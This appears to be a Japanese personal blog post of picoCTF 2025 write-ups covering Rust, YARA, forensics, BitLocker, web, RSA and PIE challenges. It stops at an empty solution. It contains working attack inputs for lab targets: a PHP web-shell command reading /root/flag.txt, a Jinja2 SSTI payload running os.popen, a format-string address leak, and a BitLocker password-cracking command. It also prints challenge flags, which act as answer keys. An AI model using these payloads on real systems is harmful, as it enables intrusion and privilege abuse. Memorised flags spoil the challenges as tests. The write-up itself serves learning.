green_bar.png Save The Earth! Save The Earth! - 地球環境を守ろう! Save The Earth! green_bar.png

URL: https://picoctf.org/

去年(2024年)は、picoCTFに参加することをすっかり忘れてましたが、今年は参加できました。



M1 Mac にしてから、CTFがやりにくくなった気がします。。。



最終結果は、こんな感じ。

picoctf_2025_Score1.png



2610点をとって、最終順位は 1025位でした。
picoctf_2025_Rank.png



以下は、チャレンジ一覧です。

picoctf_2025_web.png
picoctf_2025_crypto.png
picoctf_2025_rev.png
picoctf_2025_forensics.png
picoctf_2025_general.png
picoctf_2025_pwn.png




以下、Writeupです。


[General Skills]: Rust fixme 1 (100 points)


Challenge

Have you heard of Rust? Fix the syntax errors in this Rust file to print the flag!

Hint1: Cargo is Rust’s package manager and will make your life easier. See the getting started page here
Hint2: println! (https://doc.rust-lang.org/std/macro.println.html)
Hint3: Rust has some pretty great compiler error messages. Read them maybe?

Attachment:

  • fixme1.tar.gz

Solution

Rustの実行環境がなかったので、オンラインでやればいいやと思ってたんですが、以下のエラーが出て小一時間悩みました。

unresolved import `xor_cryptor`

結局、RustをKaliにインストールして対応しました。

$ curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh

ソースコードの修正をしていきます。

以下がオリジナル。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
use xor_cryptor::XORCryptor;

fn main() {
    // Key for decryption
    let key = String::from("CSUCKS") // How do we end statements in Rust?

    // Encrypted flag values
    let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61", "25", "7f", "5a", "60", "50", "11", "38", "1f", "3a", "60", "e9", "62", "20", "0c", "e6", "50", "d3", "35"];

    // Convert the hexadecimal strings to bytes and collect them into a vector
    let encrypted_buffer: Vec<u8> = hex_values.iter()
        .map(|&hex| u8::from_str_radix(hex, 16).unwrap())
        .collect();

    // Create decrpytion object
    let res = XORCryptor::new(&key);
    if res.is_err() {
        ret; // How do we return in rust?
    }
    let xrc = res.unwrap();

    // Decrypt flag and print it out
    let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
    println!(
        ":?", // How do we print out a variable in the println function? 
        String::from_utf8_lossy(&decrypted_buffer)
    );
}


以下が修正後。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
use xor_cryptor::XORCryptor;

fn main() {
    // Key for decryption
    let key = String::from("CSUCKS"); // How do we end statements in Rust?

    // Encrypted flag values
    let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61", "25", "7f", "5a", "60", "50", "11", "38", "1f", "3a", "60", "e9", "62", "20", "0c", "e6", "50", "d3", "35"];

    // Convert the hexadecimal strings to bytes and collect them into a vector
    let encrypted_buffer: Vec<u8> = hex_values.iter()
        .map(|&hex| u8::from_str_radix(hex, 16).unwrap())
        .collect();

    // Create decrpytion object
    let res = XORCryptor::new(&key);
    if res.is_err() {
        return; // How do we return in rust?
    }
    let xrc = res.unwrap();

    // Decrypt flag and print it out
    let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
    println!(
        "{}", // How do we print out a variable in the println function? 
        String::from_utf8_lossy(&decrypted_buffer)
    );
}

実行結果。

$ cargo run --release --bin rust_proj
   Compiling crossbeam-utils v0.8.20
   Compiling rayon-core v1.12.1
   Compiling either v1.13.0
   Compiling crossbeam-epoch v0.9.18
   Compiling crossbeam-deque v0.8.5
   Compiling rayon v1.10.0
   Compiling xor_cryptor v1.2.3
   Compiling rust_proj v0.1.0 (/mnt/hgfs/Mac_Downloads/fixme1)
    Finished `release` profile [optimized] target(s) in 2.64s
     Running `target/release/rust_proj`
picoCTF{4r3_y0u_4_ru$t4c30n_n0w?}

ちなみに、この次の Rust fixme 2 で与えられるファイルを見たら、Rust fixme 1 の答えが分かります。


Flag: picoCTF{4r3_y0u_4_ru$t4c30n_n0w?}





[General Skills]: Rust fixme 2 (100 points)


Challenge

The Rust saga continues? I ask you, can I borrow that, pleeeeeaaaasseeeee?

Hint: https://doc.rust-lang.org/book/ch04-02-references-and-borrowing.html

Attachment:

  • fixme2.tar.gz

Solution

Hintのままです。


ソースコードの修正をしていきます。

以下がオリジナル。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
use xor_cryptor::XORCryptor;

fn decrypt(encrypted_buffer:Vec<u8>, borrowed_string: &String){ // How do we pass values to a function that we want to change?

    // Key for decryption
    let key = String::from("CSUCKS");

    // Editing our borrowed value
    borrowed_string.push_str("PARTY FOUL! Here is your flag: ");

    // Create decrpytion object
    let res = XORCryptor::new(&key);
    if res.is_err() {
        return; // How do we return in rust?
    }
    let xrc = res.unwrap();

    // Decrypt flag and print it out
    let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
    borrowed_string.push_str(&String::from_utf8_lossy(&decrypted_buffer));
    println!("{}", borrowed_string);
}


fn main() {
    // Encrypted flag values
    let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61", "25", "0d", "c4", "60", "f2", "12", "a0", "18", "03", "51", "03", "36", "05", "0e", "f9", "42", "5b"];

    // Convert the hexadecimal strings to bytes and collect them into a vector
    let encrypted_buffer: Vec<u8> = hex_values.iter()
        .map(|&hex| u8::from_str_radix(hex, 16).unwrap())
        .collect();

    let party_foul = String::from("Using memory unsafe languages is a: "); // Is this variable changeable?
    decrypt(encrypted_buffer, &party_foul); // Is this the correct way to pass a value to a function so that it can be changed?
}


以下が修正後。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
use xor_cryptor::XORCryptor;

fn decrypt(encrypted_buffer:Vec<u8>, borrowed_string: &mut String){ // How do we pass values to a function that we want to change?

    // Key for decryption
    let key = String::from("CSUCKS");

    // Editing our borrowed value
    borrowed_string.push_str("PARTY FOUL! Here is your flag: ");

    // Create decrpytion object
    let res = XORCryptor::new(&key);
    if res.is_err() {
        return; // How do we return in rust?
    }
    let xrc = res.unwrap();

    // Decrypt flag and print it out
    let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
    borrowed_string.push_str(&String::from_utf8_lossy(&decrypted_buffer));
    println!("{}", borrowed_string);
}


fn main() {
    // Encrypted flag values
    let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61", "25", "0d", "c4", "60", "f2", "12", "a0", "18", "03", "51", "03", "36", "05", "0e", "f9", "42", "5b"];

    // Convert the hexadecimal strings to bytes and collect them into a vector
    let encrypted_buffer: Vec<u8> = hex_values.iter()
        .map(|&hex| u8::from_str_radix(hex, 16).unwrap())
        .collect();

    let mut party_foul = String::from("Using memory unsafe languages is a: "); // Is this variable changeable?
    decrypt(encrypted_buffer, &mut party_foul); // Is this the correct way to pass a value to a function so that it can be changed?
}

実行結果。

$ cargo run --release --bin rust_proj
   Compiling crossbeam-utils v0.8.20
   Compiling rayon-core v1.12.1
   Compiling either v1.13.0
   Compiling crossbeam-epoch v0.9.18
   Compiling crossbeam-deque v0.8.5
   Compiling rayon v1.10.0
   Compiling xor_cryptor v1.2.3
   Compiling rust_proj v0.1.0 (/mnt/hgfs/Mac_Downloads/fixme2)
    Finished `release` profile [optimized] target(s) in 2.38s
     Running `target/release/rust_proj`
Using memory unsafe languages is a: PARTY FOUL! Here is your flag: picoCTF{4r3_y0u_h4v1n5_fun_y31?}

ちなみに、この次の Rust fixme 3 で与えられるファイルを見たら、Rust fixme 2 の答えが分かります。


Flag: picoCTF{4r3_y0u_h4v1n5_fun_y31?}





[General Skills]: Rust fixme 3 (100 points)


Challenge

Have you heard of Rust? Fix the syntax errors in this Rust file to print the flag! Download the Rust code here.

Hint: Read the comments…darn it!

Attachment:

  • fixme3.tar.gz

Solution

3つのうち、これが一番簡単。


ソースコードの修正をしていきます。

以下がオリジナル。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
use xor_cryptor::XORCryptor;

fn decrypt(encrypted_buffer: Vec<u8>, borrowed_string: &mut String) {
    // Key for decryption
    let key = String::from("CSUCKS");

    // Editing our borrowed value
    borrowed_string.push_str("PARTY FOUL! Here is your flag: ");

    // Create decryption object
    let res = XORCryptor::new(&key);
    if res.is_err() {
        return;
    }
    let xrc = res.unwrap();

    // Did you know you have to do "unsafe operations in Rust?
    // https://doc.rust-lang.org/book/ch19-01-unsafe-rust.html
    // Even though we have these memory safe languages, sometimes we need to do things outside of the rules
    // This is where unsafe rust comes in, something that is important to know about in order to keep things in perspective
    
    // unsafe {
        // Decrypt the flag operations 
        let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);

        // Creating a pointer 
        let decrypted_ptr = decrypted_buffer.as_ptr();
        let decrypted_len = decrypted_buffer.len();
        
        // Unsafe operation: calling an unsafe function that dereferences a raw pointer
        let decrypted_slice = std::slice::from_raw_parts(decrypted_ptr, decrypted_len);

        borrowed_string.push_str(&String::from_utf8_lossy(decrypted_slice));
    // }
    println!("{}", borrowed_string);
}

fn main() {
    // Encrypted flag values
    let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "12", "90", "7e", "53", "63", "e1", "01", "35", "7e", "59", "60", "f6", "03", "86", "7f", "56", "41", "29", "30", "6f", "08", "c3", "61", "f9", "35"];

    // Convert the hexadecimal strings to bytes and collect them into a vector
    let encrypted_buffer: Vec<u8> = hex_values.iter()
        .map(|&hex| u8::from_str_radix(hex, 16).unwrap())
        .collect();

    let mut party_foul = String::from("Using memory unsafe languages is a: ");
    decrypt(encrypted_buffer, &mut party_foul);
}


以下が修正後。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
use xor_cryptor::XORCryptor;

fn decrypt(encrypted_buffer: Vec<u8>, borrowed_string: &mut String) {
    // Key for decryption
    let key = String::from("CSUCKS");

    // Editing our borrowed value
    borrowed_string.push_str("PARTY FOUL! Here is your flag: ");

    // Create decryption object
    let res = XORCryptor::new(&key);
    if res.is_err() {
        return;
    }
    let xrc = res.unwrap();

    // Did you know you have to do "unsafe operations in Rust?
    // https://doc.rust-lang.org/book/ch19-01-unsafe-rust.html
    // Even though we have these memory safe languages, sometimes we need to do things outside of the rules
    // This is where unsafe rust comes in, something that is important to know about in order to keep things in perspective
    
    unsafe {
        // Decrypt the flag operations 
        let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);

        // Creating a pointer 
        let decrypted_ptr = decrypted_buffer.as_ptr();
        let decrypted_len = decrypted_buffer.len();
        
        // Unsafe operation: calling an unsafe function that dereferences a raw pointer
        let decrypted_slice = std::slice::from_raw_parts(decrypted_ptr, decrypted_len);

        borrowed_string.push_str(&String::from_utf8_lossy(decrypted_slice));
    }
    println!("{}", borrowed_string);
}

fn main() {
    // Encrypted flag values
    let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "12", "90", "7e", "53", "63", "e1", "01", "35", "7e", "59", "60", "f6", "03", "86", "7f", "56", "41", "29", "30", "6f", "08", "c3", "61", "f9", "35"];

    // Convert the hexadecimal strings to bytes and collect them into a vector
    let encrypted_buffer: Vec<u8> = hex_values.iter()
        .map(|&hex| u8::from_str_radix(hex, 16).unwrap())
        .collect();

    let mut party_foul = String::from("Using memory unsafe languages is a: ");
    decrypt(encrypted_buffer, &mut party_foul);
}

実行結果。

$ cargo run --release --bin rust_proj
   Compiling crossbeam-utils v0.8.20
   Compiling rayon-core v1.12.1
   Compiling either v1.13.0
   Compiling crossbeam-epoch v0.9.18
   Compiling crossbeam-deque v0.8.5
   Compiling rayon v1.10.0
   Compiling xor_cryptor v1.2.3
   Compiling rust_proj v0.1.0 (/mnt/hgfs/Mac_Downloads/fixme3)
    Finished `release` profile [optimized] target(s) in 2.36s
     Running `target/release/rust_proj`
Using memory unsafe languages is a: PARTY FOUL! Here is your flag: picoCTF{n0w_y0uv3_f1x3d_1h3m_411}

Flag: picoCTF{n0w_y0uv3_f1x3d_1h3m_411}





[General Skills]: YaraRules0x100 (200 points)


Challenge

Dear Threat Intelligence Analyst,
Quick heads up - we stumbled upon a shady executable file on one of our employee’s Windows PCs. Good news: the employee didn’t take the bait and flagged it to our InfoSec crew.
Seems like this file sneaked past our Intrusion Detection Systems, indicating a fresh threat with no matching signatures in our database.
Can you dive into this file and whip up some YARA rules? We need to make sure we catch this thing if it pops up again.
Thanks a bunch!
The suspicious file can be downloaded here. Unzip the archive with the password picoctf
Once you have created the YARA rule/signature, submit your rule file as follows:
socat -t60 - TCP:standard-pizzas.picoctf.net:51964 < sample.txt
(In the above command, modify “sample.txt” to whatever filename you use).
When you submit your rule, it will undergo testing with various test cases. If it successfully passes all the test cases, you’ll receive your flag.


Hint1: The test cases will attempt to match your rule with various variations of this suspicious file, including a packed version, an unpacked version, slight modifications to the file while retaining functionality, etc.

Hint2: Since this is a Windows executable file, some strings within this binary can be “wide” strings. Try declaring your string variables something like $str = “Some Text” wide ascii wherever necessary.

Hint3: Your rule should also not generate any false positives (or false negatives). Refine your rule to perfection! One YARA rule file can have multiple rules! Maybe define one rule for Packed binary and another rule for Unpacked binary in the same rule file?

Attachment:

  • suspicious.exe

Solution

まずは file コマンドを実行。UPX で Pack されているのがわかります。

$ file suspicious.exe
suspicious.exe: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed

UPXを検知する yara rule はググったら見つかります。

https://github.com/godaddy/yara-rules/blob/master/packers/upx.yara



テスト

$ yara -r YaraRules0x100.yar .
upx ./suspicious.exe



とりあえず、この Rule だけでどういう結果が得られるか見てみます。

$ socat -t60 - TCP:standard-pizzas.picoctf.net:51964 < YaraRules0x100.yar
:::::

Status: Failed
False Negatives Check: Testcase failed. Your rule generated a false negative.
False Positives Check: Testcases passed!
Stats: 62 testcase(s) passed. 1 failed. 1 testcase(s) unchecked. 64 total testcases.
Pass all the testcases to get the flag.

:::::

False Negativeがあるので、UPX で Pack されていないもの(つまり、Unpackされたもの)が1つあるみたいです。

Hintでも、そのことに触れられていましたね。



Unpack をして、ユニークな文字列を探してみます。

$ upx -d suspicious.exe -o unpacked_suspicious.exe

$ strings -a -e l unpacked_suspicious.exe
jjjjjj
jjjj
ntdll.dll
(Ignore) error related to Ntdll. Falling back.
[FATAL ERROR] CreateToolhelp32Snapshot failed.
[FATAL ERROR] OpenProcessToken failed.
SeDebugPrivilege
[FATAL ERROR] LookupPrivilegeValue failed.
[FATAL ERROR] AdjustTokenPrivileges failed.
Please run this program as an Admin.
[FATAL ERROR] Failed to create the Mutex.
[ERROR] Exactly two arguments expected by the Child process. Exiting...
Check if the program is already running.
Error converting WChar to Char.
No debugger was present. Exiting successfully.
Error opening a handle to debuggerPID.
Debugger process terminated successfully.
Failed to terminate the debugger process.
[FATAL ERROR]  Unable to create the child process.
Something went wrong.
The debugger was detected but our process wasn't able to fight it. Exiting the program.
Our process detected the debugger and was able to fight it. Don't be surprised if the debugger crashed.
picoCTF
This is a fake malware. It means no harm.
Hints:
- To develop an effective YARA rule, find any suspicious Win32 API functions that are being used by this program.
- Developing rules solely based on strings (excluding URLs, library function calls, etc.) is not a good idea, as it can lead to false positives.
- Your rules should work even if this binary is packed (or unpacked).
Good luck!
Oops! Debugger Detected. Fake malware will try to hide itself (but not really).
Error creating the thread. Exiting...
&File
iE&xit
&Help
h&About ...
About Suspicious
MS Shell Dlg
Created by Nandan Desai
Copyright (c) 2023
Suspicious
SUSPICIOUS

上記の strings コマンドの出力結果の中に、別の Hint が出てきています。(以下の部分)

Hints:
- To develop an effective YARA rule, find any suspicious Win32 API functions that are being used by this program.
- Developing rules solely based on strings (excluding URLs, library function calls, etc.) is not a good idea, as it can lead to false positives.
- Your rules should work even if this binary is packed (or unpacked).

ここからは、トライ アンド エラーでした。人によって回答が違うと思います。


以下が、フラグが取れたときの Yara Rule です。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
rule upx {
    meta:
        description = "UPX packed file"

        block = false
        quarantine = false

    strings:
        $mz = "MZ"
        $upx1 = {55505830000000}
        $upx2 = {55505831000000}
        $upx_sig = "UPX!"

    condition:
        $mz at 0 and $upx1 in (0..1024) and $upx2 in (0..1024) and $upx_sig in (0..1024)
}

rule YaraRules0x100 {
    meta:
        description = "str check"

    strings:
        $a = "CreateToolhelp32Snapshot" wide ascii
	$b = "Debugger Detected" wide ascii
        $upx_sig = "UPX!"

    condition:
        $a and $b and not $upx_sig in (0..1024)
}

rule upx は、githubにあったコードをそのまま使用。

rule YaraRules0x100 の方では、suspicious Win32 API functions を2つチェックし、かつ Unpack されたもの(UPXで Pack されていないもの)をチェックしています。


$ socat -t60 - TCP:standard-pizzas.picoctf.net:50087 < YaraRules0x100.yar
:::::

Status: Passed
Congrats! Here is your flag: picoCTF{yara_rul35_r0ckzzz_12a4da12}

:::::

Flag: picoCTF{yara_rul35_r0ckzzz_12a4da12}





[Forensics]: Ph4nt0m 1ntrud3r (50 points)


Challenge

A digital ghost has breached my defenses, and my sensitive data has been stolen! 😱💻 Your mission is to uncover how this phantom intruder infiltrated my system and retrieve the hidden flag.
To solve this challenge, you’ll need to analyze the provided PCAP file and track down the attack method. The attacker has cleverly concealed his moves in well timely manner. Dive into the network traffic, apply the right filters and show off your forensic prowess and unmask the digital intruder!
Find the PCAP file here Network Traffic PCAP file and try to get the flag.

Hint1: Filter your packets to narrow down your search.

Hint2: Attacks were done in timely manner.

Hint3: Time is essential

Attachment:

  • myNetworkTraffic.pcap

Solution

tshark コマンドを使って、TCP Payload を取り出してみます。

$ tshark -r myNetworkTraffic.pcap -T fields -e "tcp.payload"
657a46305833633063773d3d
63476c6a62304e5552673d3d
626e52666447673064413d3d
5974386b734d4d3d
337073763543343d
595145467a49553d
596d68664e484a664f513d3d
6132332f5562493d
544f47534767343d
62707a513052383d
66513d3d
6e6675345677773d
4a3461755a4d593d
6550525844696f3d
666a497a51776b3d
585468477875453d
636b426b5a4c6b3d
434a72346f446b3d
42674a4c4230633d
587a4d3063336c6664413d3d
4e546c6d4e54426b4d773d3d
646756397630733d



Base64 の Padding (3d3d、すなわち"==") がついているので Base64 デコードを各行に対して行ったところ、TCP Length が 8 のものは文字列としてデコードできないようでした。

ということで、フィルターを使って不要なデータを除外します。

$ tshark -r myNetworkTraffic.pcap -T fields -e "tcp.payload" -Y "tcp.len!=8"
657a46305833633063773d3d
63476c6a62304e5552673d3d
626e52666447673064413d3d
596d68664e484a664f513d3d
66513d3d
587a4d3063336c6664413d3d
4e546c6d4e54426b4d773d3d



Hint を元に、timestampも表示して、ソートします。

$ tshark -r myNetworkTraffic.pcap -T fields -e "frame.time" -e "tcp.payload" -Y "tcp.len!=8" | sort
Mar  6, 2025 12:31:35.795918000 JST	63476c6a62304e5552673d3d
Mar  6, 2025 12:31:35.796143000 JST	657a46305833633063773d3d
Mar  6, 2025 12:31:35.796375000 JST	626e52666447673064413d3d
Mar  6, 2025 12:31:35.796700000 JST	587a4d3063336c6664413d3d
Mar  6, 2025 12:31:35.796941000 JST	596d68664e484a664f513d3d
Mar  6, 2025 12:31:35.797170000 JST	4e546c6d4e54426b4d773d3d
Mar  6, 2025 12:31:35.797392000 JST	66513d3d



あとは、文字に変換するだけです。

$ tshark -r myNetworkTraffic.pcap -T fields -e "frame.time" -e "tcp.payload" -Y "tcp.len!=8" | sort | cut -f2 | xxd -r -p | base64 -d ; echo
picoCTF{1t_w4snt_th4t_34sy_tbh_4r_959f50d3}

Flag: picoCTF{1t_w4snt_th4t_34sy_tbh_4r_959f50d3}





[Forensics]: flags are stepic (100 points)


Challenge

A group of underground hackers might be using this legit site to communicate. Use your forensic techniques to uncover their message Try it here!

Hint: In the country that doesn’t exist, the flag persists


Solution

まずはウェブページのソースをテキストファイルに保存して、国コードのリストを取り出してみました。

$ grep "flags/" flags_are_stepic_source.txt | cut -d'/' -f2 | cut -d'.' -f1
af
ax
al
dz
:
(snip)
:
gb
us
upz  <---- !!!
uy
uz
:



3文字の upz という怪しいものがあります。

その画像を見てみると(/flags/upz.png)、確かに国旗ではないようです。

upz.png

いろいろと調べてみたところ、stepic という Python モジュールがあることがわかり、使い方を調べて upz.png をデコードしてみました。


以下が書いたコードです。

1
2
3
4
5
from PIL import Image
import stepic
img2 = Image.open("upz.png")
data = stepic.decode(img2)
print("Decoded data : "+str(data))



実行結果:

$ python3 ./stepic_decode.py
/usr/lib/python3/dist-packages/PIL/Image.py:3218: DecompressionBombWarning: Image size (150658990 pixels) exceeds limit of 89478485 pixels, could be decompression bomb DOS attack.
  warnings.warn(
Decoded data : picoCTF{fl4g_h45_fl4ga664459a}

Flag: picoCTF{fl4g_h45_fl4ga664459a}





[Forensics]: Event-Viewing (200 points)


Challenge

One of the employees at your company has their computer infected by malware! Turns out every time they try to switch on the computer, it shuts down right after they log in. The story given by the employee is as follows:
They installed software using an installer they downloaded online
They ran the installed software but it seemed to do nothing
Now every time they bootup and login to their computer, a black command prompt screen quickly opens and closes and their computer shuts down instantly.
See if you can find evidence for the each of these events and retrieve the flag (split into 3 pieces) from the correct logs!

Hint1: Try to filter the logs with the right event ID
Hint2: What could the software have done when it was ran that causes the shutdowns every time the system starts up?

  • Windows_Logs.evtx

Solution

Windows PC のイベントビューアーで Windows_Logs.evtx を読み込んで調べました。



“shutdown” でサーチしたら Base64 エンコードされた文字列が見つかります。

picoctf_2025_WinEvent1.png



残りの2つは、"==" でサーチして見つけました。

picoctf_2025_WinEvent2.png



picoctf_2025_WinEvent3.png



Flag: picoCTF{Ev3nt_vi3wv3r_1s_a_pr3tty_us3ful_t00l_81ba3fe9}





[Forensics]: Bitlocker-1 (200 points)


Challenge

Jacky is not very knowledgable about the best security passwords and used a simple password to encrypt their BitLocker drive. See if you can break through the encryption!

Attachment:

  • bitlocker-1.dd (100MB)

Solution

Kali に bitlocker2john がすでに入っていたので、それを使いました。(出力結果は省略)

$ bitlocker2john -i bitlocker-1.dd > hash.txt
$ john hash.txt --wordlist=~/wordlists/rockyou.txt

これで、jacqueline というパスワードが見つかります。



ここからは、Windows PC の AutoPsy を使いました。

先ほど見つかったパスワードを使って、ファイルの中身を見ていくと、flag.txtが見つかります。

picoctf_2025_AutoPsy.png



Flag: picoCTF{us3_b3tt3r_p4ssw0rd5_pl5!_3242adb1}





[Web]: n0s4n1ty 1 (100 points)


Challenge

A developer has added profile picture upload functionality to a website. However, the implementation is flawed, and it presents an opportunity for you. Your mission, should you choose to accept it, is to navigate to the provided web page and locate the file upload area. Your ultimate goal is to find the hidden flag located in the /root directory.

Hint1: File upload was not sanitized
Hint2: Whenever you get a shell on a remote machine, check sudo -l


Solution

サニタイズがされていないので、PHP の Web shell をアップロードして、それを使うだけです。

a.phpというファイルを作ってアップロードしました。


picoctf_2025_aphp.png



http://standard-pizzas.picoctf.net:51712/uploads/a.php?cmd=sudo -l
http://standard-pizzas.picoctf.net:51712/uploads/a.php?cmd=sudo cat /root/flag.txt

Flag: picoCTF{wh47_c4n_u_d0_wPHP_4043cda3}





[Web]: SSTI2 (200 points)


Challenge

I made a cool website where you can announce whatever you want! I read about input sanitization, so now I remove any kind of characters that could be a problem :)
I heard templating is a cool and modular way to build web apps! Check out my website here!

Hint1: Server Side Template Injection
Hint2: Why is blacklisting characters a bad idea to sanitize input?


Solution

Black list のバイパスがなかなか出来ずに結構試行錯誤をしたのですが、

以下のサイトに書かれているサンプルを使ったら、そのまま行けました。

https://medium.com/@nyomanpradipta120/jinja2-ssti-filter-bypasses-a8d3eb7b000f

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat flag')|attr('read')()}}

Flag: picoCTF{sst1_f1lt3r_byp4ss_ece726e9}





[Crypto]: EVEN RSA CAN BE BROKEN??? (200 points)


Challenge

This service provides you an encrypted flag. Can you decrypt it with just N & e?
Connect to the program with netcat:

Hint1: How much do we trust randomness?

Hint2: Notice anything interesting about N?

Hint3: Try comparing N across multiple requests


Solution

Hint を元に、いくつかサンプルを集めて傾向を見ることにしました。

$ nc verbal-sleep.picoctf.net 51624
N: 15011597723370625970175278550446842441472820011538256365596832808503849392426362376701897544864203610415636205947277203638791695202994114239414917448991866
e: 65537
cyphertext: 11870742963080785358411730864105202326585637170748591243517262296319996953298655433668433818798404934888882330038339838064138913817733910471654885076976627

$ nc verbal-sleep.picoctf.net 51624
N: 24045499541871971500675444118414331087201949280013008187969606893273730814495825624003150534117378982230294289676472858760526590191230465510897306998995534
e: 65537
cyphertext: 7975568915660088048579382997740376222901530549289757566064178450599924360171059171558200074021506539392061315001920794734320484943667743626436550719451927

$ nc verbal-sleep.picoctf.net 51624
N: 16999973870731977513276050547205289068142526016621272648326617590290000339331066413392966316011818246740851947973819144108569306513299866015339056450949774
e: 65537
cyphertext: 388354100763543080756460793652936406970160745126018474654530311167072472380674234633242076264308040359526728177861105960472223146033383052669759985398571

N を factorize してみて分かったことは、pかqかの必ずどちらかが2になっている、ということでした。


以下が書いたコードです。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import math
from Crypto.Util.number import inverse

# RSA Data
n = 15011597723370625970175278550446842441472820011538256365596832808503849392426362376701897544864203610415636205947277203638791695202994114239414917448991866
e = 65537
c = 11870742963080785358411730864105202326585637170748591243517262296319996953298655433668433818798404934888882330038339838064138913817733910471654885076976627

#Solve for p,q
q = 2
p = n // q

# Standard RSA
phi = (p-1)*(q-1)
d = inverse(e,phi)
m = pow(c,d,n)
print(bytes.fromhex(format(m,'x')).decode('utf-8'))

Flag: picoCTF{tw0_1$_pr!m378257f39}





[Binary Exploitation]: PIE TIME (75 points)


Challenge

Can you try to get the flag? Beware we have PIE! Additional details will be available after launching your challenge instance.

Hint: Can you figure out what changed between the address you found locally and in the server output?

Attachment:

  • vuln (ELF 64-bit)
  • vuln.c

Solution

まずは、実行して動きをみてみます。

$ nc rescued-float.picoctf.net 55539
Address of main: 0x5c34e296d33d
Enter the address to jump to, ex => 0x12345:


main()関数のアドレスが表示され、その後、任意のアドレスを入れると、そこに飛んでくれるようになっています。


ソースコードを見ると、win()関数が用意されていて、gdbを使ってmain()関数とwin()関数とのアドレスの差分を見ると -0x96 でした。



ということで、

$ nc rescued-float.picoctf.net 55539
Address of main: 0x5c34e296d33d
Enter the address to jump to, ex => 0x12345: 0x5c34e296d2a7
Your input: 5c34e296d2a7
You won!
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_31cc212b}

Flag: picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_31cc212b}





[Binary Exploitation]: PIE TIME 2 (200 points)


Challenge

Can you try to get the flag? I’m not revealing anything anymore!!

Hint1: What vulnerability can be exploited to leak the address?
Hint2: Please be mindful of the size of pointers in this binary

  • vuln (ELF 64-bit)
  • vuln.c

以下が中身

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

void call_functions() {
  char buffer[64];
  printf("Enter your name:");
  fgets(buffer, 64, stdin);
  printf(buffer);

  unsigned long val;
  printf(" enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  call_functions();
  return 0;
}

Solution

上記ソースコードのハイライトしているところで、書式文字列攻撃ができます。


gdbで解きました。

M1 Mac上で動かしている VMWare の Ubuntu では結果が異なってしまって解けなかったので、別のPCを使いました。


gdbでwin()関数のアドレスを確認しつつ、%14$p から順番に、%15$p、%16$p、と試していったら、%19$p を入れたときにwin()関数のアドレスと近い値を発見できました。

かつ、アドレスの差分が常に固定 (0xd7) であったため、これを使いました。

$ nc rescued-float.picoctf.net 50119
Enter your name:%19$p
0x55ef63fcd441
 enter the address to jump to, ex => 0x12345: 0x55ef63fcd36a
You won!
picoCTF{p13_5h0u1dn'7_134k_e7fc8501}

Flag: picoCTF{p13_5h0u1dn'7_134k_e7fc8501}





[Binary Exploitation]: hash-only-1 (100 points)


Challenge

Here is a binary that has enough privilege to read the content of the flag file but will only let you know its hash. If only it could just give you the actual content!
Connect using ssh ctf-player@shape-facility.picoctf.net -p 62974 with the password, a15d25e1 and run the binary named “flaghasher”.
You can get a copy of the binary if you wish: scp -P 62974 ctf-player@shape-facility.picoctf.net:~/flaghasher .


Solution

